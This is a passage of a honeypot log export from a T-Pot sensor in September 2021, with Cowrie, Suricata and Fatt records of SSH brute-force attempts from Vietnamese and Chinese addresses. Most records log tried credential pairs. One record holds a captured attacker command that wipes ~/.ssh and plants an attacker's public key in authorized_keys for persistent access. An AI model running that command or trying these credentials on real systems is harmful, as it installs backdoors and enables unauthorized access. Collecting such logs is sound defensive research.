"t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
20684	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:13.534775+03	2021-09-20 14:15:02.689614+03	{"_id": "4wXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [webuser/webuser] failed", "session": "086285987bcc", "@version": "1", "password": "webuser", "username": "webuser", "timestamp": "2021-09-20T11:06:13.534775Z", "@timestamp": "2021-09-20T11:06:13.534Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20685	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:13.946212+03	2021-09-20 14:15:02.690614+03	{"_id": "5gXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [system/OkwKcECs8qJP2Z] failed", "session": "1e1fef1d24ff", "@version": "1", "password": "OkwKcECs8qJP2Z", "username": "system", "timestamp": "2021-09-20T11:06:13.946212Z", "@timestamp": "2021-09-20T11:06:13.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20686	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.867329+03	2021-09-20 14:15:02.691643+03	{"_id": "6gXiAnwBvYTbRNuEjft8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:34194 (192.168.176.2:22) [session: 024b71a5e8c2]", "session": "024b71a5e8c2", "@version": "1", "protocol": "ssh", "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:06:13.867329Z", "@timestamp": "2021-09-20T11:06:13.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20687	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.177962+03	2021-09-20 14:15:02.693643+03	{"_id": "BwXiAnwBvYTbRNuEjfx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f0d8ee6e7eed", "@version": "1", "duration": 3.613471508026123, "timestamp": "2021-09-20T11:06:13.177962Z", "@timestamp": "2021-09-20T11:06:13.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20688	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:13.691398+03	2021-09-20 14:15:02.694646+03	{"_id": "CAXiAnwBvYTbRNuEjfx8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/default] failed", "session": "7dbef6505905", "@version": "1", "password": "default", "username": "root", "timestamp": "2021-09-20T11:06:13.691398Z", "@timestamp": "2021-09-20T11:06:13.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20689	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:14.357198+03	2021-09-20 14:15:02.695642+03	{"_id": "CwXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 291810465670654, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50260, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.357198Z", "@timestamp": "2021-09-20T11:06:14.357Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20690	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:14.698262+03	2021-09-20 14:15:02.697642+03	{"_id": "DAXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 382140070368540, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47140, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.698262Z", "@timestamp": "2021-09-20T11:06:14.698Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20691	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.421658+03	2021-09-20 14:15:02.698645+03	{"_id": "HwXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3181bb249e72", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.421658Z", "@timestamp": "2021-09-20T11:06:14.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20692	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.459783+03	2021-09-20 14:15:02.699614+03	{"_id": "IAXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:48798 (192.168.176.2:22) [session: 9865354beb87]", "session": "9865354beb87", "@version": "1", "protocol": "ssh", "src_port": 48798, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.459783Z", "@timestamp": "2021-09-20T11:06:14.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20693	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:14.545307+03	2021-09-20 14:15:02.700643+03	{"_id": "IQXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:48140 (192.168.176.2:22) [session: a7a012468805]", "session": "a7a012468805", "@version": "1", "protocol": "ssh", "src_port": 48140, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.545307Z", "@timestamp": "2021-09-20T11:06:14.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20694	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:14.35735+03	2021-09-20 14:15:02.701643+03	{"_id": "OgXiAnwBvYTbRNuEkfxn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50260, "timestamp": "2021-09-20T11:06:14.357350", "@timestamp": "2021-09-20T11:06:14.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20695	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:14.254195+03	2021-09-20 14:15:02.702643+03	{"_id": "FgXiAnwBvYTbRNuEkfxl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2f97955b344b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:14.254195Z", "@timestamp": "2021-09-20T11:06:14.254Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20696	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:15.847138+03	2021-09-20 14:15:02.703642+03	{"_id": "XQXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7174 (192.168.176.2:22) [session: 9eeb915bdaee]", "session": "9eeb915bdaee", "@version": "1", "protocol": "ssh", "src_port": 7174, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.847138Z", "@timestamp": "2021-09-20T11:06:15.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20697	42.192.44.134	109.199.241.180	Cowrie	2021-09-20 14:06:15.959131+03	2021-09-20 14:15:02.706613+03	{"_id": "bAXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "42.192.44.134", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "42.192.44.134", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 42.192.44.134:36458 (192.168.176.2:22) [session: d09007e594dd]", "session": "d09007e594dd", "@version": "1", "protocol": "ssh", "src_port": 36458, "dest_port": 22, "timestamp": "2021-09-20T11:06:15.959131Z", "@timestamp": "2021-09-20T11:06:15.959Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20698	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:15.095638+03	2021-09-20 14:15:02.707649+03	{"_id": "ZwXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:15.095638Z", "@timestamp": "2021-09-20T11:06:15.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20699	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.68173+03	2021-09-20 14:15:02.708643+03	{"_id": "WgXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [vyos/vyos] failed", "session": "024b71a5e8c2", "@version": "1", "password": "vyos", "username": "vyos", "timestamp": "2021-09-20T11:06:15.681730Z", "@timestamp": "2021-09-20T11:06:15.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20700	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:15.685581+03	2021-09-20 14:15:02.709645+03	{"_id": "WwXiAnwBvYTbRNuElfxL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "223.241.247.214", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "93a2eacc7d8b", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:06:15.685581Z", "@timestamp": "2021-09-20T11:06:15.685Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
20705	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:15.393658+03	2021-09-20 14:15:02.715649+03	{"_id": "eAXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to ip-who.com:80 with data b'GET /json/ HTTP/1.1\\\\r\\\\nHost: ip-who.com\\\\r\\\\n\\\\r\\\\n'", "session": "c319d72d9024", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:06:15.393658Z", "@timestamp": "2021-09-20T11:06:15.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
20701	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:15.328203+03	2021-09-20 14:15:02.710644+03	{"_id": "dAXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48140, "timestamp": "2021-09-20T11:06:15.328203", "@timestamp": "2021-09-20T11:06:15.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20702	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:15.540951+03	2021-09-20 14:15:02.712646+03	{"_id": "dQXiAnwBvYTbRNuElfxM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44702, "timestamp": 